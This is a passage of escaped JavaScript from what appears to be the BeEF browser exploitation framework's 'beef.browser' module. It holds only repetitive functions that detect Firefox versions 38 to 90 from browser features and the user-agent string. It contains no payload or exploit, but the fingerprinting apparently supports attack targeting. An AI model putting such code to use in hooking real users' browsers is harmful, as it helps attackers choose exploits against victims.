window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/38./) != null;\n    },\n\n    /**\n     * Returns true if FF39\n     * @example: beef.browser.isFF39()\n     */\n    isFF39: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/39./) != null;\n    },\n\n    /**\n     * Returns true if FF40\n     * @example: beef.browser.isFF40()\n     */\n    isFF40: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/40./) != null;\n    },\n\n    /**\n     * Returns true if FF41\n     * @example: beef.browser.isFF41()\n     */\n    isFF41: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/41./) != null;\n    },\n\n    /**\n     * Returns true if FF42\n     * @example: beef.browser.isFF42()\n     */\n    isFF42: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/42./) != null;\n    },\n\n    /**\n     * Returns true if FF43\n     * @example: beef.browser.isFF43()\n     */\n    isFF43: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/43./) != null;\n    },\n\n    /**\n     * Returns true if FF44\n     * @example: beef.browser.isFF44()\n     */\n    isFF44: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/44./) != null;\n    },\n\n    /**\n     * Returns true if FF45\n     * @example: beef.browser.isFF45()\n     */\n    isFF45: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/45./) != null;\n    },\n\n    /**\n     * Returns true if FF46\n     * @example: beef.browser.isFF46()\n     */\n    isFF46: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/46./) != null;\n    },\n\n    /**\n     * Returns true if FF47\n     * @example: beef.browser.isFF47()\n     */\n    isFF47: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/47./) != null;\n    },\n\n    /**\n     * Returns true if FF48\n     * @example: beef.browser.isFF48()\n     */\n    isFF48: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/48./) != null;\n    },\n\n    /**\n     * Returns true if FF49\n     * @example: beef.browser.isFF49()\n     */\n    isFF49: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/49./) != null;\n    },\n\n    /**\n     * Returns true if FF50\n     * @example: beef.browser.isFF50()\n     */\n    isFF50: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/50./) != null;\n    },\n\n    /**\n     * Returns true if FF51\n     * @example: beef.browser.isFF51()\n     */\n    isFF51: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/51./) != null;\n    },\n\n    /**\n     * Returns true if FF52\n     * @example: beef.browser.isFF52()\n     */\n    isFF52: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/52./) != null;\n    },\n\n    /**\n     * Returns true if FF53\n     * @example: beef.browser.isFF53()\n     */\n    isFF53: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/53./) != null;\n    },\n\n    /**\n     * Returns true if FF54\n     * @example: beef.browser.isFF54()\n     */\n    isFF54: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/54./) != null;\n    },\n\n    /**\n     * Returns true if FF55\n     * @example: beef.browser.isFF55()\n     */\n    isFF55: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/55./) != null;\n    },\n\n    /**\n     * Returns true if FF56\n     * @example: beef.browser.isFF56()\n     */\n    isFF56: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/56./) != null;\n    },\n\n    /**\n     * Returns true if FF57\n     * @example: beef.browser.isFF57()\n     */\n    isFF57: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/57./) != null;\n    },\n    \n    /**\n     * Returns true if FF58\n     * @example: beef.browser.isFF58()\n     */\n    isFF58: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/58./) != null;\n    },\n\n    /**\n     * Returns true if FF59\n     * @example: beef.browser.isFF59()\n     */\n    isFF59: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/59./) != null;\n    },\n\n    /**\n     * Returns true if FF60\n     * @example: beef.browser.isFF60()\n     */\n    isFF60: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/60./) != null;\n    },\n\n    /**\n     * Returns true if FF61\n     * @example: beef.browser.isFF61()\n     */\n    isFF61: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/61./) != null;\n    },\n\n    /**\n     * Returns true if FF62\n     * @example: beef.browser.isFF62()\n     */\n    isFF62: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/62./) != null;\n    },\n\n    /**\n     * Returns true if FF63\n     * @example: beef.browser.isFF63()\n     */\n    isFF63: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/63./) != null;\n    },\n\n    /**\n     * Returns true if FF64\n     * @example: beef.browser.isFF64()\n     */\n    isFF64: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/64./) != null;\n    },\n\n    /**\n     * Returns true if FF65\n     * @example: beef.browser.isFF65()\n     */\n    isFF65: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/65./) != null;\n    },\n\n    /**\n     * Returns true if FF66\n     * @example: beef.browser.isFF66()\n     */\n    isFF66: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/66./) != null;\n    },\n\n    /**\n     * Returns true if FF67\n     * @example: beef.browser.isFF67()\n     */\n    isFF67: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/67./) != null;\n    },\n\n    /**\n     * Returns true if FF68\n     * @example: beef.browser.isFF68()\n     */\n    isFF68: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/68./) != null;\n    },\n\n    /**\n     * Returns true if FF69\n     * @example: beef.browser.isFF69()\n     */\n    isFF69: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/69./) != null;\n    },\n\n    /**\n     * Returns true if FF70\n     * @example: beef.browser.isFF70()\n     */\n    isFF70: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/70./) != null;\n    },\n\n    /**\n     * Returns true if FF71\n     * @example: beef.browser.isFF71()\n     */\n    isFF71: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/71./) != null;\n    },\n\n    /**\n     * Returns true if FF72\n     * @example: beef.browser.isFF72()\n     */\n    isFF72: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/72./) != null;\n    },\n\n    /**\n     * Returns true if FF73\n     * @example: beef.browser.isFF73()\n     */\n    isFF73: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/73./) != null;\n    },\n\n    /**\n     * Returns true if FF74\n     * @example: beef.browser.isFF74()\n     */\n    isFF74: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/74./) != null;\n    },\n\n    /**\n     * Returns true if FF75\n     * @example: beef.browser.isFF75()\n     */\n    isFF75: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/75./) != null;\n    },\n\n    /**\n     * Returns true if FF76\n     * @example: beef.browser.isFF76()\n     */\n    isFF76: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/76./) != null;\n    },\n\n    /**\n     * Returns true if FF77\n     * @example: beef.browser.isFF77()\n     */\n    isFF77: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/77./) != null;\n    },\n\n    /**\n     * Returns true if FF78\n     * @example: beef.browser.isFF78()\n     */\n    isFF78: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/78./) != null;\n    },\n\n    /**\n     * Returns true if FF79\n     * @example: beef.browser.isFF79()\n     */\n    isFF79: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/79./) != null;\n    },\n\n    /**\n     * Returns true if FF80\n     * @example: beef.browser.isFF80()\n     */\n    isFF80: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/80./) != null;\n    },\n\n    /**\n     * Returns true if FF81\n     * @example: beef.browser.isFF81()\n     */\n    isFF81: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/81./) != null;\n    },\n\n    /**\n     * Returns true if FF82\n     * @example: beef.browser.isFF82()\n     */\n    isFF82: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/82./) != null;\n    },\n\n    /**\n     * Returns true if FF83\n     * @example: beef.browser.isFF83()\n     */\n    isFF83: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/83./) != null;\n    },\n\n    /**\n     * Returns true if FF84\n     * @example: beef.browser.isFF84()\n     */\n    isFF84: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/84./) != null;\n    },\n\n    /**\n     * Returns true if FF85\n     * @example: beef.browser.isFF85()\n     */\n    isFF85: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/85./) != null;\n    },\n\n    /**\n     * Returns true if FF86\n     * @example: beef.browser.isFF86()\n     */\n    isFF86: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/86./) != null;\n    },\n\n    /**\n     * Returns true if FF87\n     * @example: beef.browser.isFF87()\n     */\n    isFF87: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/87./) != null;\n    },\n\n    /**\n     * Returns true if FF88\n     * @example: beef.browser.isFF88()\n     */\n    isFF88: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; typeof navigator.mozGetUserMedia != \"undefined\" &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/88./) != null;\n    },\n\n    /**\n     * Returns true if FF89\n     * @example: beef.browser.isFF89()\n     */\n    isFF89: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; (this.getProtocol() == \"https:\" ? typeof navigator.mozGetUserMedia != \"undefined\" : true) &amp;&amp; (typeof window.crypto != \"undefined\" &amp;&amp; typeof window.crypto.getRandomValues != \"undefined\") &amp;&amp; typeof Math.hypot == 'function' &amp;&amp; typeof String.prototype.codePointAt === 'function' &amp;&amp; typeof Number.isSafeInteger === 'function' &amp;&amp; window.navigator.userAgent.match(/Firefox\\/89./) != null;\n    },\n\n    /**\n     * Returns true if FF90\n     * @example: beef.browser.isFF90()\n     */\n    isFF90: function () {\n        return !!window.devicePixelRatio &amp;&amp; !!window.history.replaceState &amp;&amp; (this.getProtocol() == \"https:\" ? typeof navigator.mozGetUserMedia != \"undefined\" : true) &amp;&amp; (typeof 